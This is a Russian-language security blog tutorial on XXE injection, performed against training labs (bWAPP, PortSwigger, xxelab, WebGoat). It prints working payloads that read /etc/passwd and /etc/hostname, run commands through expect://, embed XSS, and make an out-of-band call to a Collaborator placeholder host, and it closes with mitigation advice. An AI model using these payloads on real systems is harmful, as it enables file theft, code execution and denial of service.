Руководство по XXE Injection

Дата: 08.01.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В данной статье пойдет речь об инъекции XXE. Читатели узнают о том, как правильно выполнить эту атаку и найти все возможные уязвимости системы.

Знакомство с XML

XML расшифровывается как «Extensible Markup Language», это самый распространенный язык для хранения и транспортировки данных. Он не содержит никаких предопределенных тегов, таких как <p>, <img> и т.д. Все теги определяются пользователем в зависимости от данных, которые они представляют, например. <адрес электронной почты></Почта>, <сообщение></сообщение>.

  • Версия: указывает на то, какая версия стандарта XML используется.
    • Допустимые значения: 1.0.
  • Кодирование: указывает на кодировку, которая будет использоваться. Кодировка по умолчанию, используемая в XML, – это UTF-8.
    • Допустимые значения: UTF-8, UTF-16, ISO-10646-UCS-2, ISO-10646-UCS-4, Shift_JIS, ISO-2022-JP, с ISO-8859-1 до ISO-8859-9, EUC-JP.
  • Автономность: язык информирует парсер, если документ имеет какую-либо ссылку на внешний источник или есть какая-либо ссылка на внешний документ. Значение по умолчанию: отключено.
    • Допустимые значения: включено, отключено.

Что такое Entity?

Подобно переменным в языках программирования, есть XML Entity. Это определенный способ представления данных, которые находятся внутри XML-документа. Существуют различные встроенные сущности («entities») в языке XML, такие как &lt; и &gt;, которые используются в различном большем или меньшем размере в языке XML. Все это метасимволы, которые обычно представлены с помощью сущностей, появляющихся в данных. Внешние сущности XML («XML external entities») – это сущности, расположенные вне DTD.

Внешняя сущность использует ключевое слово SYSTEM и указывает на URL-адрес, из которого должно быть загружено значение сущности. Например:

<!ENTITY ignite SYSTEM "URL">

В этом примере «Ignite» – это имя сущности, «SYSTEM» – это используемое ключевое слово, «URL» – это URL-адрес, который пользователь хочет получить, выполнив атаку XXE.

Что такое определение типа документа?

Определение типа документа («DTD» или «Document Type Definition») используется для объявления структуры XML-документа, типов значений данных, которые он может содержать, и т.д. DTD может присутствовать внутри XML-файла или находиться отдельно. Он объявляется в начале XML-строки с помощью <!DOCTYPE>.

Существует несколько типов DTD, и тот, который интересует читателей, – это внешние DTD.

  • SYSTEM: Идентификатор системы позволяет пользователю указать внешнее расположение файла, содержащего объявление DTD.
<!DOCTYPE ignite SYSTEM "URL" [...] >
  • PUBLIC: публичные идентификаторы обеспечивают механизмы для определения DTD-ресурсов.
<!DOCTYPE raj PUBLIC "URL"

Как читатели могут увидеть, они начинаются с ключевого слова PUBLIC, за которым следует специализированный идентификатор. Публичные идентификаторы используются для идентификации записи в каталоге.

Знакомство с XXE

Атаки типа ХХE осуществляются на основании заявления в порядке разбора своего входного XML. В них входные данные XML, содержащие ссылку на внешнюю сущность, обрабатываются слабо настроенным синтаксическим анализатором XML. Как и в межсайтовом скриптинге (XSS), хакер пытается внедрить скрипты аналогичным образом: он вставляет их в XML-сущности, чтобы получить важную информацию о системе.

DTD же используется для объявления структуры XML-документа, типов значений данных, которые он может содержать, и т.д. DTD может присутствовать внутри XML-файла или находиться отдельно. Он объявляется в начале XML-строки с помощью <!DOCTYPE>.

Полезная нагрузка внешней сущности XML отправляется на сервер, а сервер пересылает эти данные синтаксическому анализатору XML, который анализирует XML-запрос и предоставляет серверу желаемый вывод. Затем сервер возвращает этот вывод злоумышленнику (схема представлена на фото).

Возможности и влияние атаки на систему

XML External Entity (XXE) представляет серьезную угрозу для компании или веб-разработчика. XXE всегда входил в ТОП-10 списка OWASP. Это распространенная уязвимость, так как многие веб-сайты используют XML в строках и при транспортировке данных, и если контрмеры не будут приняты, то их информация может быть скомпрометирована. Есть различные типы атак:

  • Подделка запросов на стороне сервера
  • DoS-атака
  • Удаленное выполнение кода
  • Межсайтовый скриптинг

Оценка CVSS XXE составляет 7,5 балла, а степень угрозы атаки указана как средняя.

  • CWE-611: Неверное ограничение внешней сущности XML.
  • CVE-2019-12153: Локальный файл SSRF.
  • CVE-2019-12154: Удаленный файл SSRF.
  • CVE-2018-1000838: Атака «Billion Laugh».
  • CVE-2019-0340: Проведение XXE с помощью загрузки файлов.

Проведение атаки XXE для выполнения SSRF

Подделка запросов на стороне сервера (SSRF) – это веб-уязвимость, при которой хакер вводит серверные HTML-коды, чтобы получить контроль над сайтом или перенаправить вывод на сервер злоумышленника. Типы файлов для проведения SSRF-атак следующие:

Локальные файлы

Это файлы, которые присутствуют на домене веб-сайта, такие как «robots.txt», «server-info.txt» и т.д. Итак, пользователь начнет использовать «bWAPP» с целью проведения атаки XXE на заданном уровне.

Теперь он запустит свой BurpSuite и произведет перехват после нажатия на кнопку «Any Bugs?». Получен следующий результат:

Пользователь видит, что фильтр не применяется, поэтому можно провести атаку XXE. Он отправляет запрос на ретранслятор и там будет выполнять свою атаку. Пользователь попытается узнать, какое поле является уязвимым или доступным для инъекции. В целом есть два нулевых поля, то есть «login» и «secret».

Итак, пользователь проверяет их следующим образом:

На вкладке «Repeater» пользователь отправляет запрос с настройками по умолчанию и будет наблюдать за выводом на вкладке «Response».

Там написано: «bee’s secret has been reset», так что кажется, что логин поддается инъекции. Стоит проверить это, изменив его со значения «bee», а затем отправив запрос.

Теперь пользователь снова откроет вкладку «Response» и будет наблюдать за выводом.

Там написано: «ignite’s secret has been reset», что дает пользователю понять, что логин является доступным для инъекции. Теперь он готов совершить свою атаку.

Когда пользователь уже знает, какое поле является доступным для инъекции, он попробует получить файл «robots.txt». Для этого он будет использовать следующую полезную нагрузку:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "http://192.168.1.15/bWAPP/robots.txt">
]>
<reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

Понимание полезной нагрузки

Пользователь объявил doctype с именем «reset», а затем внутри него объявил сущность с именем «ignite». Он использует системный идентификатор, а затем вводит URL-адрес, чтобы получить «robots.txt». Затем в логине пользователь вводит «& ignite;», чтобы добраться до желаемой информации.

После вставки вышеуказанного кода пользователь нажмет на кнопку «Send» и получит вывод, как показано ниже на вкладке «Response».

Как читатели могут увидеть в приведенном выше выводе, пользователь получил всю информацию, которая присутствует в «robots.txt». Это говорит ему о том, что SSRF локального файла возможен для осуществления с помощью XXE.

Итак, теперь надо понять, как все это сработало. Во-первых, пользователь ввел полезную нагрузку, и она была передана на сервер, и поскольку нет никаких фильтров, чтобы предотвратить XXE, сервер отправляет запрос XML-парсеру, а затем возвращает вывод анализируемого XML-файла. В этом случае «robots.txt» был получен злоумышленником с помощью XML-запроса.

Удаленные файлы

Это файлы, в которые злоумышленник внедряет удаленно размещенные вредоносные скрипты с целью получения доступа от имени администратора или другой важной информации. Пользователь попытается получить файл /etc/passwd, для чего введет следующую команду:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "file:///etc/passwd">
]><reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

После ввода вышеуказанной команды, как только пользователь нажмет на кнопку «Send», ему будет доступен файл «passwd»!

Атака XXE Billion Laugh (DoS)

Эти атаки нацелены на XML-парсеры, в которых как хорошо сформированные, так и действительные XML-данные приводят к сбою системных ресурсов при анализе. Эта атака также известна как «XML-бомба» или «XML DoS». Прежде чем ее выполнить, стоит разузнать, почему она известна под именем «Billion Laugh».

«В первый раз, когда эта атака была осуществлена, злоумышленник использовал «lol» в качестве данных сущности и вызывал его несколько раз в нескольких следующих сущностях. Это заняло экспоненциальное количество времени, и его результатом стала успешная DoS-атака, приведшая к падению веб-сайта. Из-за использования «lol» и многократного его вызова, что привело к миллиардам запросов, атака получила название «Billion Laugh»».

Перед использованием полезной нагрузки нужно с ней детально ознакомиться.

В этом случае пользователь видит, что в 1 раз он объявил сущность с именем «ignite», а затем вызывает ее же в нескольких других сущностях, образуя таким образом цепочку обратных вызовов, которая перезагружает сервер. Во 2 раз он вызвал «entity &ignite 9»: пользователь вызвал (таким образом) «ignite 9» вместо просто «ignite», поскольку «ignite 9» вызывает «ignite 8», «ignite 8» вызывает «ignite 7» и так далее. Таким образом, выполнение запроса займет экспоненциальное количество времени, и в результате сайт будет сломан.

Вышеприведенная команда приводит к осуществлению DoS-атаки. Результат, который получил пользователь, следующий:

Теперь после ввода XML-команды пользователь не увидит никаких выходных данных в поле «Response», а также поле «bee» станет недоступным и будет полностью отключено.

Проведение атаки ХХЕ с помощью загрузки файлов

Атака XXE может быть выполнена с помощью метода загрузки файлов. Пользователь продемонстрирует это с помощью лаборатории порта Swigger «эксплуатируя атаку ХХЕ через загрузку изображения». Полезная нагрузка, которую он будем применять, следующая:

<?XML version="1.0" standalone="yes"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "file:///etc/hostname"> ] >
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="40" x="0" y="100">&xxe;</text>
</svg>

Понимание полезной нагрузки: пользователь будет создавать файл SVG, так как только файлы изображений принимаются в области загрузки. Основной синтаксис SVG-файла приведен выше, и в нем человек добавил текстовое поле.

Пользователь сохранит приведенный выше код как «payload.svg». Теперь на Portswigger он перейдет на пост и комментарий, а затем добавит сделанную полезную нагрузку в поле «Аватар».

Теперь он опубликует комментарий, нажав на кнопку «Post Comment». После этого пользователь откроет пост, под которым он разместил свой комментарий, и найдет его там.

Нужно проверить источник страницы, чтобы найти комментарий, который был размещен ранее. Человек найдет нечто похожее на это:

Пользователь нажмет на приведенную выше ссылку и получит флаг в новом окне.

Он проверит это, отправив сам флаг. В итоге пользователь получает сообщение о том, что все прошло успешно.

Понимание всей концепции: когда пользователь загрузил полезную нагрузку в поле «Аватар» и заполнил все остальные поля, его комментарий был показан под постом. Изучив исходный файл, он получил путь, по которому был загружен этот файл. Пользователь заинтересован в этом поле, так как его полезная нагрузка XXE была внутри SVG-файла, и она будет содержать информацию, которую он хотел получить, в данном случае – это «/etc/domain». Перейдя по этой ссылке, он смог увидеть информацию, которая была ему нужна.

Проведение атаки XXE для удаленного выполнения кода

Удаленное выполнение кода – это очень серьезная уязвимость серверного веб-приложения. При этом злоумышленник может внедрить свой вредоносный код на сервер, чтобы получить важную информацию. Чтобы продемонстрировать эту атаку, пользователь использовал XXE LAB. Он выполнит следующие шаги, чтобы загрузить и запустить ее на своей машине Linux:

git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up

В своем терминале он получает примерно такой же результат, как и на следующем изображении:

Теперь, когда все будет готово к использованию, пользователь откроет браузер и введет: «http://192.168.33.10/». Он увидит, что сайт выглядит следующим образом:

Пользователь будет вводить свои данные и перехватывать запрос с помощью Burp Suite. В Burp Suite он увидит запрос таким, как показано ниже на картинке.

Пользователь отправит этот запрос в ретранслятор и посмотрит, какое поле уязвимо. Итак, он делает это и будет наблюдать за вкладкой «Response»:

Читатели могут заметить, что пользователь видит только электронную почту, поэтому далее нужно проверить еще одну запись, чтобы убедиться, что именно это поле является уязвимым.

На приведенном выше скриншота видно, что поле электронной почты уязвимо. Теперь пользователь введет свою полезную нагрузку.

<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id"> ]>

Нужно детально ознакомиться с этой полезной нагрузкой перед ее реализацией.

Пользователь создал «doctype» с именем «root» и под ним создал сущность с именем «ignite», которая запрашивает «expect://id». Если «expect» принимается на странице «php», то удаленное выполнение кода возможно. Пользователь извлекает идентификатор, поэтому в данном случае он использовал «id».

Видно, что человек успешно получил «uid», «gid» и номер группы. Это доказывает, что удаленное выполнение кода в данном случае было успешным.

Межсайтовый скриптинг с помощью ХХЕ

В настоящее время есть тенденция, что скрипты блокируются веб-приложениями, но есть способ исправить это. Пользователь может использовать данные XML для проведения этой атаки. Он также увидит данные на этапе смягчения последствий. В данном случае человек использовал вышеупомянутую лабораторию XXE для выполнения XSS. Итак, у пользователя есть тот же перехваченный запрос, что и в предыдущем примере, и он знает, что поле электронной почты уязвимо, поэтому будет вводить полезную нагрузку только в это поле. Полезная нагрузка, которую он будет использовать, выглядит следующим образом:

<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>

Понимание полезной нагрузки: поскольку пользователь знает, что в большинстве полей ввода < and > заблокированы, он включил его в CDATA. CDATA – это символьные данные, а данные внутри CDATA не анализируются XML-анализатором и находятся в том виде, в каком они вставляются в выходные данные.

Стоит взглянуть на эту атаку поближе.

Пользователь вводит приведенную выше команду между полем электронной почты и будет наблюдать за выводом на вкладке «Response».

Человек видит, что у него есть тег изображения, встроенный в поле вместе с скриптом. Он щелкнет по нему правой кнопкой мыши и выберет опцию «Show response in browser».

Пользователь скопирует приведенную выше ссылку и вставит ее в браузер, и ему будет показано окно предупреждения с надписью «1», это можно наблюдать на приведенном ниже скриншоте.

Итак, приведенный выше скриншот дает понять, что пользователь смог осуществить межсайтовый скриптинг с использованием XML.

JSON и манипуляция контентом

JSON – это объектная нотация JavaScript, которая также используется для хранения и транспортировки данных, таких как XML. Пользователь может преобразовать JSON в XML и получить тот же результат, а также добраться до важной информации. Пользователь, более того, способен манипулировать контентом, чтобы сделать XML приемлемым для приложения или сайта. Для этой цели человек будет использовать WebGoat. В WebGoat он будет выполнять атаку XXE.

Перехваченный запрос выглядит так, как показано выше на картинке. Пользователь изменит его тип контента и заменит JSON на XML-код.

XML-код, который он будет использовать, следующий:

<?xml?>
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "file:///">
]>
<comment>
<text>
&ignite;
</text>
</comment>

Позже пользователь увидит, что его комментарий опубликован вместе с корневым файлом.

Таким образом, пользователь узнал, как он может выполнить инъекцию XML в поле JSON, а также как он способен передавать XML, манипулируя его типом содержимого.

О том, что только что произошло, подробнее.

JSON – это то же самое, что и язык XML, поэтому пользователь может получить тот же вывод с помощью XML, что и ожидаемый от запроса JSON. В приведенном выше примере читатели увидели, что JSON имеет текстовое значение, поэтому пользователь заменил запрос JSON вышеуказанной полезной нагрузкой и получил корневую информацию о системе. Если бы пользователь не изменил тип контента на «application / XML», то его XML-запрос не был бы передан.

Blind XXE

В приведенных выше атаках читатели видели, какое поле уязвимо. Однако когда пользователь получает другой выход, то он может использовать Blind XXE. Человек будем применять лабораторию Portswigger для демонстрации Blind ХХЕ. Для этого он также будет использовать Burp Collaborator, который присутствует только в профессиональной версии Burp Suite. Пользователь использует лабораторию под названием: «Blind XXE with out-of-band interaction via XML parameter Entities». Когда он откроет ее, то увидит следующую страницу:

Пользователь нажмет на кнопку «View details» и будет перенаправлен на нижеприведенную страницу, на которой он способен перехватывать запрос «Check stock».

Пользователь получает перехваченный запрос, как показано ниже на картинке.

Теперь пользователь запустит Burp collaborator из меню Burp и увидит следующее окно.

Пользователь нажмет на кнопку «Copy to clipboard», чтобы скопировать поддомен Burp, который он будет использовать в своей полезной нагрузке.

Полезная нагрузка, которую он будет применять, выглядит следующим образом:

<!DOCTYPE stockCheck [
<!ENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %ignite; ]>

Теперь в Burp Collaborator пользователь видит, что он фиксирует какой-то запрос, что говорит ему о том, что он успешно выполнил Blind XXE.

Человек проверит, что его вывод верен, в самой лаборатории.

Шаги по смягчению последствий атаки

  • Самый безопасный способ предотвратить XXE – это полностью отключить DTD (внешние объекты). В зависимости от парсера метод должен быть похож на следующий:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • DoS-атаки также можно предотвратить, отключив DTD. Если полностью отключить DTDs невозможно, то внешние сущности и объявления внешних типов документов должны быть отключены способом, специфичным для каждого синтаксического анализатора.
  • Другой метод – это использование CDATA для игнорирования внешних сущностей. CDATA – это символьные данные, которые предоставляют собой блок, который не анализируется синтаксическим анализатором.
<data><!CDATA [ "'& > characters are ok in here] ]></data>

Автор переведенной статьи: Naman Kumar.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *